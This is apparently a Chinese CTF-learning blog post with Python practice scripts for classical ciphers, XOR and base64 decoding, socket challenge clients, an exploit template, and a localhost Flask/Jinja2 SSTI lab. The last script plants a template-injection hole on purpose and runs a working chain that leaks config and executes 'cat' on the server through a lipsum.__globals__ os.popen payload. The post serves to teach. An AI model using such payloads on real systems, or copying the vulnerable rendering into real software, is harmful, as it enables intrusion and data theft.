python学习的配套练习,看看各个脚本吧~~~

2977 字
15 分钟
python学习的配套练习,看看各个脚本吧~~~

01_caesar.py#

实战脚本 1:凯撒密码爆破(古典密码题)#

题型特征:题目给一串被”字母整体位移”过的密文,flag 藏在其中某一种位移里。

解题思路:凯撒密码只有 26 种可能,干脆全部试一遍, 肉眼看哪一行出现 flag{ —— 这就是”爆破”的最朴素形式。

import string
CIPHER = "synt{pnrfne_cnff_pbqrf}" # 示例密文(明文经 ROT13 加密而来)
def caesar_decrypt(text: str, shift: int) -> str:
"""把字母表整体右移 shift 位来解密,非字母字符原样保留"""
result = []
for ch in text:
if ch in string.ascii_lowercase: # 小写字母
# 核心技巧:(x - a + n) % 26 + a 实现"循环位移"
new = (ord(ch) - ord('a') - shift) % 26 + ord('a')
result.append(chr(new))
elif ch in string.ascii_uppercase: # 大写字母
new = (ord(ch) - ord('A') - shift) % 26 + ord('A')
result.append(chr(new))
else: # 数字/符号不动
result.append(ch)
return "".join(result) #用空字符串 "" 作为分隔符,把列表 result 里的每个元素连起来,用join不用新建字符串对象
def main():
print(f"密文: {CIPHER}\n")
for shift in range(26): # 26 种位移全部枚举
candidate = caesar_decrypt(CIPHER, shift)
marker = " <-- 像是 flag!" if "flag{" in candidate else ""
print(f"位移 {shift:2d}: {candidate}{marker}") # {shift:2d}为了对齐
if __name__ == "__main__":
main()

02_xor_crack.py#

实战脚本 2:单字节 XOR 爆破(Rev / Crypto 题)#

题型特征:逆向题里常见”逐字节异或某个常数”的字符串加密, 内存 dump 出来的 hex 数据看起来全是乱码。

解题思路:单字节异或只有 256 种 key, 全部试一遍,用”结果像不像正常英文/flag”打分排序,最高的就是答案。

CIPHER_HEX = "242e2325393a72301d73311d31732f322e711d2037361d37317124372e3f"
# ↑ 示例数据:某段被单字节异或加密后的 hex(答案 key=0x42)
def xor_single(data: bytes, key: int) -> bytes:
"""单字节异或:每个字节都 ^ 同一个 key"""
return bytes([b ^ key for b in data])
# "正常文本"字符集:字母/数字/少量常见符号。
# 注意不能太宽——如果把各种标点都算进来,错误的 key 也会得高分,噪声爆炸。
GOOD_CHARS = set(b"abcdefghijklmnopqrstuvwxyz"
b"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
b"0123456789 _{}-\n\t")
def score(data: bytes) -> float:
"""得分:'正常字符'占比。真实英文/flag 文本通常接近 1.0,乱码远低于此"""
return sum(1 for b in data if b in GOOD_CHARS) / len(data)
def main():
cipher = bytes.fromhex(CIPHER_HEX)# XOR是字节操作必须先拿到原始字节
print(f"密文({len(cipher)} 字节): {CIPHER_HEX}\n")
candidates = []
for key in range(256): # 256 个候选 key 全枚举
plain = xor_single(cipher, key)
s = score(plain)
if s > 0.9: # 只有像"正常文本"的才入围
candidates.append((s, key, plain))
# 按得分降序,得分最高的极可能就是答案
candidates.sort(reverse=True)
for s, key, plain in candidates[:5]:
try:
text = plain.decode()
except UnicodeDecodeError:# bytes → str(解码)时字节非法
continue
tag = " <-- 找到 flag!" if "flag{" in text else ""
print(f"key=0x{key:02x} 得分={s:.0%} {text!r}{tag}")
if not any("flag{" in p.decode(errors="replace") for _, _, p in candidates):
print("(本例没筛出 flag 字样)")
if __name__ == "__main__":
main()

03_base64_nested.py#

实战脚本 3:base64 嵌套自动解码(Misc 编码题)#

题型特征:题目给一长串 base64,解出来还是 base64,再解还是…… 手工解十几次会疯,写个循环让脚本一直解到解不动为止。

核心知识点:while 循环 + 异常处理 + base64 家族识别。

import base64
import re
B64_RE = re.compile(rb"^[A-Za-z0-9+/\n\r]+={0,2}$") # 合法 base64 字符集
def looks_like_base64(data: bytes) -> bool:
"""粗略判断一段 bytes 像不像 base64"""
stripped = data.strip() #strip()去掉字符串首尾的指定字符,默认去掉空白字符
if len(stripped) < 8 or len(stripped) % 4 != 0:
return False
return bool(B64_RE.match(stripped))
def auto_decode(data: bytes) -> bytes:
"""循环解码:能解就一直解,解不动了返回当前结果"""
round_no = 0
while True:
if not looks_like_base64(data):
break
try:
decoded = base64.b64decode(data, validate=False)
#当 validate=False(默认值):解码前会丢弃输入中所有不属于 Base64 字母表的字符(如空格、换行、特殊符号等),然后再检查填充是否正确。这使得它可以处理带有额外空白或格式标记的 Base64 字符串。
#当 validate=True:如果输入包含任何非 Base64 字符,会直接引发 binascii.Error 异常,而不会静默丢弃。这提供了更严格的校验,适用于需要确保输入格式完全正确的场景。
except Exception:
break # 解码失败,到头了
if decoded == data: # 防止死循环
break
data = decoded
round_no += 1
print(f" 第 {round_no} 轮解码后: {data[:60]!r}{'...' if len(data) > 60 else ''}")
print(f"共解码 {round_no} 轮")
return data
def main():
# 示例数据:"flag{n3st3d_b4s3_1s_fun}" 连续 base64 编码 5 次的产物
nested = (b"VmpJd2VFNUhSa2RpTTNCclUwWmFUMVJVUVRCa01WSlZVMnhP"
b"WVdKSGVIaFdWelYzVkdzeFZXRkVVbHBsYTFVeFdXeGtVMWRG"
b"TlZWaGVqQTk=")
print(f"输入({len(nested)} 字节): {nested!r}\n")
result = auto_decode(nested)
print(f"\n最终结果: {result.decode(errors='replace')}")
m = re.search(rb"flag\{[^}]*\}", result) # 顺手把 flag 抠出来
if m:
print(f"\n[+] 捕获 flag: {m.group().decode()}")
if __name__ == "__main__":
main()

04_socket_client.py#

实战脚本 4:socket 网络交互题模板(net / pwn 类)#

题型特征:nc 连上远程服务,按提示输入答案,答对就发 flag。 这是 pwntools 的底层原理,先手撸一遍 socket 再用 pwntools 会更踏实。

本脚本自带一个”模拟题目服务器”(线程里跑的), 所以不需要真连外网,直接运行就能看到完整交互流程。 实战时把 HOST/PORT 改成题目地址,删掉 DemoServer 部分即可。

import re
import socket
import threading
import random
import time
# ---------- 模拟题目服务器(实战时删掉这段) ----------
class DemoServer(threading.Thread):
"""假装是题目环境:发一道加法题,答对给 flag"""
def run(self):
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("127.0.0.1", 9999))
srv.listen(1)
conn, _ = srv.accept()
a, b = random.randint(10, 99), random.randint(10, 99)
# 注意:bytes 字面量里只能放 ASCII 字符,中文必须用 .encode() 转换!
conn.sendall(f"[*] 挑战: {a} + {b} = ?\n".encode())
answer = conn.recv(1024).decode().strip()
if answer == str(a + b):
conn.sendall(b"[+] Correct! flag{socket_1s_e4sy}\n")
else:
conn.sendall(b"[-] Wrong answer, bye\n")
conn.close()
srv.close()
# ---------- 客户端:真正要学的部分 ----------
HOST, PORT = "127.0.0.1", 9999
def main():
DemoServer(daemon=True).start() # 实战时删掉
time.sleep(0.2) # 等服务器 bind 完成(demo 需要)
# 1. 建立连接(超时一定要设,防止脚本卡死)
sock = socket.create_connection((HOST, PORT), timeout=10)
print(f"[*] 已连接 {HOST}:{PORT}")
# 2. 收提示(recv 返回 bytes,记得 decode)
challenge = sock.recv(1024).decode() # 从 socket 连接里接收最多 1024 字节的数据,并解码成字符串
print(f"[*] 服务端说: {challenge.strip()}")
# 3. 用正则从提示里抠出所有数字(比手写 split 健壮得多)
a, b = map(int, re.findall(r"\d+", challenge))
# 从字符串 challenge 中找出所有连续数字子串;把每个数字子串转成整数;
answer = a + b
print(f"[*] 我算出: {answer}")
# 4. 发送答案(sendall 要发 bytes)
sock.sendall(f"{answer}\n".encode())
# 5. 收结果
result = sock.recv(1024).decode()
print(f"[*] 最终回复: {result.strip()}")
sock.close()
if __name__ == "__main__":
main()

08_exp_template.py#

实战脚本 8:exp 五段式模板(所有方向通用)#

这个文件本身就是一份”可以直接抄走改”的 exp 骨架。 内置一道模拟题(socket 收异或密文 -> 解密 -> 回传拿 flag), 让你在真实节奏里体会每个分区为什么要存在。

五段式结构(详见教程第七部分): ① 导入区 ② 配置区 ③ 工具函数区 ④ 解题逻辑区 ⑤ 主入口

import re
import socket
import threading
import time
# ============================================================
# ① 导入区:所有 import 集中在文件最顶部
# 好处:一眼看清依赖;缺什么库立刻暴露
# ============================================================
# ============================================================
# ② 配置区:题目相关的参数全部集中在这里
# 好处:换题 / 换环境只改这一块,逻辑代码一行不动
# ============================================================
HOST = "127.0.0.1" # 实战换成题目 IP
PORT = 9997 # 实战换成题目端口
XOR_KEY = 0x2A # 解题时"分析出来"的参数(逆向/试出来的)
TIMEOUT = 10 # 网络超时:必设,防脚本卡死
# ============================================================
# ③ 工具函数区:会被复用的小函数
# 判断标准:同一段代码要写第二遍 -> 抽成函数放这
# ============================================================
def xor_single(data: bytes, key: int) -> bytes:
"""单字节异或(异或题万金油,见 02_xor_crack.py)"""
return bytes([b ^ key for b in data])
def recv_line(sock: socket.socket) -> str:
"""收一行并去掉换行(收发细节封装掉,主流程更干净)"""
buf = b""
while not buf.endswith(b"\n"):
chunk = sock.recv(1024)
if not chunk:
break
buf += chunk
return buf.decode(errors="replace").strip()
# ============================================================
# ④ 解题逻辑区:核心流程,按"阶段"推进
# 黄金节奏:每个阶段都 print 中间结果,确认对了再写下一步
# ============================================================
def solve() -> str:
# -- 阶段 1:建立连接 --
sock = socket.create_connection((HOST, PORT), timeout=TIMEOUT)
print(f"[*] 已连接 {HOST}:{PORT}")
# -- 阶段 2:收题目数据(先打印看清楚再动手)--
line = recv_line(sock) #按行接受数据
print(f"[*] 服务端: {line}")
m = re.search(r"cipher:\s*([0-9a-f]+)", line)
assert m, f"没解析到密文,收到的是: {line!r}" # 自检:早失败早发现
cipher_hex = m.group(1)
# -- 阶段 3:本地解密(独立小步骤,单独验证)--
cipher = bytes.fromhex(cipher_hex)
plain = xor_single(cipher, XOR_KEY)
print(f"[*] 解密结果: {plain!r}") # 看一眼像不像答案
assert b"flag" in plain or plain.isascii(), f"解得不对劲: {plain!r}"
# -- 阶段 4:回传答案,收 flag --
sock.sendall(plain + b"\n")
result = recv_line(sock)
sock.close()
print(f"[*] 最终回复: {result}")
return result
# ============================================================
# ⑤ 主入口:只负责"调度",不写具体逻辑
# if __name__ 守卫:被 import 时不自动执行
# ============================================================
def main():
DemoServer().start() # 实战时删掉这两行
time.sleep(0.2)
result = solve()
m = re.search(r"flag\{[^}]*\}", result)
if m:
print(f"\n[+] 拿到 flag: {m.group()}")
else:
print(f"\n[-] 没拿到 flag,回复原文: {result}")
# ============================================================
# 模拟题目服务器(实战时删掉这一整段)
# ============================================================
class DemoServer(threading.Thread):
SECRET = b"flag{exp_skel3t0n_w0rks}"
def run(self):
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("127.0.0.1", PORT))
srv.listen(1)
conn, _ = srv.accept()
cipher = bytes([b ^ 0x2A for b in self.SECRET])
conn.sendall(f"cipher: {cipher.hex()}\n".encode())
answer = conn.recv(1024).strip()
if answer == self.SECRET:
conn.sendall(b"[+] Correct! flag{exp_skel3t0n_w0rks}\n")
else:
conn.sendall(b"[-] Wrong!\n")
conn.close()
srv.close()
if __name__ == "__main__":
main()

09_flask_ssti.py#

实战脚本 9:Flask + Jinja2 SSTI 靶场与利用(Web 进阶)#

本脚本分两半: 上半:用 Flask 亲手搭一个”CTF 风格”的 Web 应用(含安全/危险两种渲染写法对照) 下半:用 requests 当攻击者,走完 SSTI 完整利用链:检测 -> 泄露 -> 命令执行

危险写法的对照组(为什么会产生 SSTI): render_template_string(“Hi {{name}}”, name=name) # 安全:输入是”数据” render_template_string(“Hi ” + name) # 危险:输入变成了”模板代码”

import logging
import re
import threading
import time
import requests
from flask import Flask, request, render_template_string
from werkzeug.serving import make_server
logging.getLogger("werkzeug").setLevel(logging.ERROR) # 关掉访问日志刷屏
# ============================================================
# ① 导入区 / ② 配置区
# ============================================================
PORT = 8890
BASE = f"http://127.0.0.1:{PORT}"
FLAG_FILE = "/tmp/ssti_flag.txt" # 模拟服务器上的 flag 文件
# ============================================================
# ③ 靶场应用(实战时这就是题目附件里的 app.py)
# ============================================================
def build_app() -> Flask:
app = Flask(__name__)
app.config["FLAG"] = "flag{c0nf1g_1s_l34ky}" # CTF 惯用:flag 藏在 config
@app.route("/")
def index():
# ✅ 安全写法:输入作为"参数"传给模板,{{name}} 只会被替换成文本
name = request.args.get("name", "guest")
return render_template_string("Hello {{name}}!", name=name)
@app.route("/hello")
def hello():
# 💣 危险写法:用户输入被"拼接"进模板字符串,成为模板代码的一部分
name = request.args.get("name", "guest")
return render_template_string("Hello " + name + "!")
@app.route("/login", methods=["POST"])
def login():
# POST 表单 + 拼接渲染:漏洞换了个投递通道,本质一模一样
user = request.form.get("username", "")
return render_template_string("Welcome " + user)
return app
# ============================================================
# ④ 攻击逻辑:SSTI 利用链(检测 -> 泄露 -> RCE)
# ============================================================
def exploit():
s = requests.Session()
# -- 第 0 步:正常访问,确认服务在 --
print(f"[0] 正常访问: {s.get(f'{BASE}/hello', params={'name': 'liyuhang'}, timeout=5).text}")
# -- 第 1 步:安全路由对照实验 --
r = s.get(f"{BASE}/", params={"name": "{{7*7}}"}, timeout=5)
print(f"[1] 安全写法渲染 {{{{7*7}}}} -> {r.text}") # 原样显示,没执行
# -- 第 2 步:危险路由探测({{7*7}} 变 49 = Jinja2 SSTI 实锤)--
r = s.get(f"{BASE}/hello", params={"name": "{{7*7}}"}, timeout=5)
print(f"[2] 危险写法渲染 {{{{7*7}}}} -> {r.text}")
assert "49" in r.text, "检测失败:没有计算出 49"
# -- 第 3 步:泄露 config(CTF 里 FLAG 常直接躺在这)--
r = s.get(f"{BASE}/hello", params={"name": "{{config}}"}, timeout=5)
m = re.search(r"flag\{[^}]*\}", r.text)
print(f"[3] {{config}} 泄露 -> {'命中 ' + m.group() if m else r.text[:120]}")
# -- 第 4 步:命令执行(lipsum 一行流:读 flag 文件)--
payload = "{{lipsum.__globals__['os'].popen('cat " + FLAG_FILE + "').read()}}"
r = s.get(f"{BASE}/hello", params={"name": payload}, timeout=5)
print(f"[4] lipsum RCE 读文件 -> {r.text.strip()}")
assert "flag{" in r.text, "RCE 失败"
# -- 第 5 步:POST 路由同样可能 SSTI(换个投递通道而已)--
r = s.post(f"{BASE}/login", data={"username": "{{7*7}}"}, timeout=5)
print(f"[5] POST 通道同样中招 -> {r.text}")
# ============================================================
# ⑤ 主入口
# ============================================================
def main():
# 造一个假的 flag 文件(模拟服务器上 /flag 的存在)
with open(FLAG_FILE, "w") as f:
f.write("flag{sst1_rce_c0nfirmed}")
# 用 make_server 起服务:能优雅关闭,比 app.run 更适合脚本内嵌
srv = make_server("127.0.0.1", PORT, build_app())
threading.Thread(target=srv.serve_forever, daemon=True).start()
time.sleep(0.3)
print(f"[*] 靶场已启动: {BASE}\n")
try:
exploit()
print("\n[+] SSTI 利用链走通:检测 -> config 泄露 -> 命令执行")
finally:
srv.shutdown()
if __name__ == "__main__":
main()

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Profile Image of the Author
LYH
LYH,安全方向的在校学生。方向集中在 Web 安全和密码学——Web 这边从 webshell 识别、文件包含到注入类题目都在练,密码学在啃 RSA 和格密码相关的内容,逆向和网络也有涉猎。日常工具链是 Mac + Docker。欢迎交流学习!
公告
欢迎来到我的博客!这里展示我的学习过程与结果。
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
站点统计
文章
26
分类
13
标签
19
总字数
180,600
运行时长
0 天
最后活动
0 天前

文章目录